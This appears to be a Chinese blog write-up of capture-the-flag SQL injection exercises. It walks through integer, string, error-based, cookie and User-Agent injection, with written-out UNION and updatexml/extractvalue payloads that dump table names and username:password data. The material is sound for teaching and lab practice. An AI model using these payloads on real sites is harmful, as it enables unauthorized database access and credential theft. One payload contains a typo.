web之SQL注入之手工注入

发布于:2025-02-10 ⋅ 阅读:(26) ⋅ 点赞:(0)

第一道题是整型注入

这里我们看到让我们输入id试试 输入1 和2都发现有回显并且有相应的数据 但是3

就没有 我们可以判断这里存在SQL注入的整型注入

这里我们用group by判断一下列数 发现列数为2 然后我们可以进行union 联合注入

中间这里爆出来了 数据表名flag 然后我们对数据表名flag进行查询 就得出了flag

![屏幕截图 2025-01-15 195237](C:\Users\22069\Pictures\Screenshots\屏幕截图 2025-01-15 195237.png

知识点 :

sql注入常用知识

  1. information_schema:表示所有信息,包括库、表、列

  2. information_schema.tables:记录所有表名信息的表

  3. information_schema.columns:记录所有列名信息的表

  4. table_schema:数据库的名称

  5. table_name:表名

  6. column_name:列名

  7. group_concat():显示所有查询到的数据

联合注入类型

-1' union select database() --+ #查询数据库名

-1' union select group_concat(table_name) from information_schema.tables where table_schema=database() --+ #查询数据表名

-1' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='' --+ #查询字段名

-1' union select group_concat(username,':',password,';') from '表名' --+ #查询数据

-1 union select 1,version()# 查看数据库版本

order by 和group by都可以判断列数

第二道题字符注入

这里我们不难发现2-1和1的回显是不同的 所以我们判断这是字符注入 并且闭合方式为‘

![屏幕截图 2025-01-15 213602](C:\Users\22069\Pictures\Screenshots\屏幕截图 2025-01-15 213602.png

这里我们还发现了字段数为2 所以在这里我们使用了union联合注入来查询 并且用database发现了其数据库名

这里我们爆出了数据表名flag

?id=-1 union select 1,group_concat(flag) from sqli.flag #

这里我们查询数据表flag里面的所有字段 就得出了flag

第三道题是报错注入

  1. 通过extractValue()报错注入

    id=1 and extractvalue(null,concat(0x7e,(select databnullase()),0x7e))

    0x7e在这里就代表了符号----

  1. i通过updateXml()报错注入

    id=1 and 1=updatexml(1,concat('~',(select database())),3) --+

这道题中 我们先输入1发现查询正确没有报错 但输入1'时就报错了

这里我们使用报错注入里的updatexml语句 第二个报错的参数会显示在报错语句中 这里我们用database()爆出了数据库名

再用这种方式我们可以爆出数据表名flag

然后再查询flag的全部字段

这里我们会发现爆出来的flag不完整 这里我们需要跳过第一个字符 得到完整的flag

这道题是cookie的注入

还是继续操作 爆出数据表名

-1 union select 1,group_concat(hnfzcfqftx) from sqli.oxnzuvjual

然后再注入查询全部字段 就得到了flag

这道题是ua注入

这里我们先order by发现有两列 注入点在第二点

User-Agent: 123 union select 1,txytfzjnsq from sqli.sulevdvoll

再用前面得到的表名和字段 进行查询就得到了flag